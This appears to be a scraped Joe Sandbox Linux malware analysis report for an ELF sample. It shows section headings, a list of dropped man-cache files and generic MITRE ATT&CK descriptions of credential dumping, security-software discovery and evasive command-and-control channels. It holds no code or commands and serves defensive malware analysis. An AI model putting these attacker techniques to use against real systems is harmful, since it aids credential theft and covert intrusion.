Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/cache/man/6272

/var/cache/man/cs/6272

/var/cache/man/cs/index.db.n3YPUr

/var/cache/man/da/6272

/var/cache/man/da/index.db.P7VKlr

/var/cache/man/de/6272

/var/cache/man/de/index.db.yBOZpu

/var/cache/man/es/6272

/var/cache/man/es/index.db.k7hxZr

/var/cache/man/fi/6272

/var/cache/man/fi/index.db.wlyAGs

/var/cache/man/fr.ISO8859-1/6272

/var/cache/man/fr.ISO8859-1/index.db.8C0o2r

/var/cache/man/fr.UTF-8/6272

/var/cache/man/fr.UTF-8/index.db.onh5As

/var/cache/man/fr/6272

/var/cache/man/fr/index.db.xY7Hkt

/var/cache/man/hu/6272

/var/cache/man/hu/index.db.kjx6cr

/var/cache/man/id/6272

/var/cache/man/id/index.db.iRn12t

/var/cache/man/index.db.iiBU1s

/var/cache/man/it/6272

/var/cache/man/it/index.db.FtmfKr

/var/cache/man/ja/6272

/var/cache/man/ja/index.db.OWWxqq

/var/cache/man/ko/6272

/var/cache/man/ko/index.db.U9gGBu

Linux Analysis Report
zh3b51uyPN.elf

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre